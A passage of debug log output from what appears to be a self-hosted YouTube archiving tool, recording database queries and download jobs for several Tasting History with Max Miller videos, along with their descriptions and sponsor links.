https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", 1338, false, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].mp4", false, 3, ~U[2026-03-17 15:00:31Z]] 02:52:53.997 [debug] QUERY OK source="sources" db=0.2ms idle=41.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:53.998 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:53.998 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 02:52:53.998 [info] Kicking off download for media item #12040 (9SvcDeiwXrc) 02:52:53.999 [debug] Current batch of media processed. Will check again in 1000ms 02:52:55.000 [debug] Current batch of media processed. Will check again in 1000ms 02:53:00.442 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:53:00.970 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/shepherdspie\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1395, "filename" => "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].mp4", "id" => "t1O1hcixZDU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=t1O1hcixZDU", "playlist_index" => 4, "timestamp" => 1773154896, "title" => "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "upload_date" => "20260310"} 02:53:00.971 [debug] QUERY OK source="sources" db=0.2ms idle=1443.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:00.971 [debug] QUERY OK source="sources" db=0.1ms idle=1443.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:00.973 [debug] QUERY OK source="media_items" db=1.3ms idle=1009.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 15:01:36Z], 3] 02:53:00.974 [debug] QUERY OK source="media_items" db=1.1ms idle=530.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/shepherdspie\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "af4166a3-5fee-417c-bdf0-afd8e9177083", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", false, 1395, false, 4, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].mp4", false, false, 3, [], 98, ~U[2026-03-10 15:01:36Z], ~U[2026-04-01 06:53:00Z], ~U[2026-04-01 06:53:00Z], "Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/shepherdspie\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", 1395, false, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].mp4", false, 3, ~U[2026-03-10 15:01:36Z]] 02:53:00.975 [debug] QUERY OK source="sources" db=0.2ms idle=11.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:00.975 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:00.975 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 02:53:00.975 [info] Kicking off download for media item #11535 (t1O1hcixZDU) 02:53:00.976 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Support the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=160210600\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=122648660\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=79389860\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5943134\n\n#tastinghistory", "duration" => 1399, "filename" => "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].mp4", "id" => "g2uEeDzhn14", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=g2uEeDzhn14", "playlist_index" => 5, "timestamp" => 1772553661, "title" => "Hatshepsut - The Pharaoh they tried to Erase from History", "upload_date" => "20260303"} 02:53:00.977 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:00.977 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:00.978 [debug] QUERY OK source="media_items" db=1.1ms idle=2.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-03 16:01:01Z], 3] 02:53:00.980 [debug] QUERY OK source="media_items" db=1.2ms idle=3.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Support the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=160210600\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=122648660\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=79389860\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5943134\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "4e8df345-a805-4e10-9006-9f3586e75160", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", false, 1399, false, 5, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].mp4", false, false, 3, [], 98, ~U[2026-03-03 16:01:01Z], ~U[2026-04-01 06:53:00Z], ~U[2026-04-01 06:53:00Z], "Support the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=160210600\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=122648660\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=79389860\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5943134\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", 1399, false, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].mp4", false, 3, ~U[2026-03-03 16:01:01Z]] 02:53:00.980 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:00.980 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:53:00.981 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [10464] 02:53:00.981 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast/the-biographers/id1690932637?i=1000751100810\nSpotify: https://open.spotify.com/episode/1JlCmNhuBJqebLuagYs6Fa?si=FN4w__kUQHKFgaj082K4UQ\nYouTube: https://youtu.be/KeqRyJZ8H9o\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/teslasduck\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "duration" => 1713, "filename" => "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].mp4", "id" => "LpfV-0kT56o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LpfV-0kT56o", "playlist_index" => 6, "timestamp" => 1771948834, "title" => "Nikola Tesla's Weird Eating Habits", "upload_date" => "20260224"} 02:53:00.981 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:53:00.981 [debug] QUERY OK source="sources" db=0.1ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:00.983 [debug] QUERY OK source="media_items" db=1.0ms idle=1.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-24 16:00:34Z], 3] 02:53:00.991 [debug] QUERY OK source="media_items" db=8.2ms idle=2.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast/the-biographers/id1690932637?i=1000751100810\nSpotify: https://open.spotify.com/episode/1JlCmNhuBJqebLuagYs6Fa?si=FN4w__kUQHKFgaj082K4UQ\nYouTube: https://youtu.be/KeqRyJZ8H9o\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/teslasduck\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #tesla", "Nikola Tesla's Weird Eating Habits", "1d77c3d2-808a-4547-a288-e57e98a75bb0", "LpfV-0kT56o", "https://www.youtube.com/watch?v=LpfV-0kT56o", false, 1713, false, 6, "/downloads/Tasting History with Max Miller/2026-02-24 Nikola Tesla's Weird Eating Habits/Nikola Tesla's Weird Eating Habits [LpfV-0kT56o].mp4", false, false, 3, [], 98, ~U[2026-02-24 16:00:34Z], ~U[2026-04-01 06:53:00Z], ~U[2026-04-01 06:53:00Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast/the-biographers/id1690932637?i=1000751100810\nSpotify: https://open.spotify.com/episode/1JlCmNhuBJqebLuagYs6Fa?si=FN4w__kUQHKFgaj082K4UQ\nYouTube: https://youtu.be/KeqRyJZ8H9o\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at 